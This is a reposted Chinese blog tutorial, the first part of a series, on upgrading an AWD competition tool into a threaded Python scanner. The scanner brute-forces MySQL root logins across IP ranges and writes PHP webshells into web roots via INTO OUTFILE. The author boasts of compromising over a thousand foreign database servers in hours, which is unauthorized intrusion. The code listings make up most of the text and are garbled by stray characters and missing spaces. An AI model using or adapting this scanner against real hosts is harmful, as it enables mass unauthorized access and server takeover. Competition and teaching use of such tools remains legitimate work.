设为首页 - 加入收藏 伊春站长网 (http://www.0458zz.com)- 国内知名站长资讯网站,提供最新最全的站长资讯,创业经验,网站建设等!
热搜: 2018 2019 北京 安全
当前位置: 首页 > 另版白姐特码消息 > 外闻 > 正文

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

发布时间:2019-02-01 11:28 所属栏目:[外闻] 来源:合天智汇
导读:01前言 一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。 02起因 这个脚本最开始的构思是

01前言

一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。

02起因

这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

原始脚本-1:

  1. #!/usr/bin/envpython?
  2. #coding=utf-8?
  3. #author:Blus?
  4. ?
  5. importMySQLdb?
  6. defmysql_connect1(ip,shell_url):?
  7. #尝试数据库连接?
  8. try:?
  9. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)?
  10. cur=conn.cursor()?
  11. ?
  12. #若数据库连接成功,开始写马?
  13. try:?
  14. sql_insert="SELECT''into?outfile'{}';".format(shell_url)?
  15. #printsql_insert;?
  16. ?
  17. cur.execute(sql_insert)?
  18. print"写入成功".decode()?
  19. exceptException?as?e:?
  20. print"写入错误"?
  21. printe;?
  22. return?
  23. cur.close()?
  24. conn.close()?
  25. ?
  26. exceptMySQLdb.Error,e:?
  27. print"Mysql_Error:?%d:?%s"?%?(e.args[0],?e.args[1])?
  28. return?
  29. ?
  30. if__name__?==?"__main__":?
  31. fp_ip=open('ip.txt')?
  32. shell_url=?'D:/1.PHP'?
  33. ?
  34. forip?in?fp_ip.readlines():?
  35. fp4=ip.replace('\r',"").replace('\n',"")?
  36. #url=str(fp5)?
  37. printfp4?
  38. mysql_connect1(ip,shell_url)?
  39. ?
  40. print'检测结束'?

需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在

https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。

03计划

这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)

计划对其做以下改进:

1. 加快其速度,支持大批量扫描

2. 增加自动爆破密码的功能

3. 增加日志记录功能

4. 代码规范简洁

04引入多线程

升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。

主要更改了这几处:

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

以下是这次修改后的完整的代码-2:

  1. #!/usr/bin/envpython?
  2. #coding=utf-8?
  3. #author:Blus?
  4. ?
  5. importMySQLdb?
  6. importthreading?
  7. importtime?
  8. importIPy?
  9. ?
  10. defmysql_connect1(ip,shell_url,shell_content):?
  11. #尝试数据库连接?
  12. try:?
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)?
  14. cur=conn.cursor()?
  15. ?
  16. #若数据库连接成功,开始写马?
  17. try:?
  18. ?
  19. sql_insert=?"SELECT?'{}'into?outfile'{}';".format(shell_content,shell_url)?
  20. printsql_insert;?
  21. ?
  22. cur.execute(sql_insert)?
  23. print"写入成功".decode()?
  24. ?
  25. exceptException?as?e:?
  26. print"写入错误"?
  27. printe;?
  28. return?
  29. cur.close()?
  30. conn.close()?
  31. ?
  32. ?
  33. exceptMySQLdb.Error,e:?
  34. print"Mysql_Error:?%d:?%s"?%?(e.args[0],?e.args[1])?
  35. return?
  36. ?
  37. if__name__?==?"__main__":?
  38. #内容设置?
  39. shell_url='../../../../wamp64/www/erg2313231.php';?
  40. shell_content=''?
  41. #设置同时运行的线程数?
  42. threads=25?
  43. #要检测的IP网段?
  44. ip1=?IPy.IP('192.168.0.0/16')?
  45. ?
  46. ?
  47. forip?in?ip1:?????
  48. ip=str(ip)?
  49. while(threading.activeCount()>threads):?
  50. time.sleep(1)?
  51. threading.Thread(target=mysql_connect1,args=(ip,?shell_url,shell_content)).start()?
  52. print'检测结束'?

05改善速度,增加ping函数

【免责声明】本站内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

网友评论
推荐文章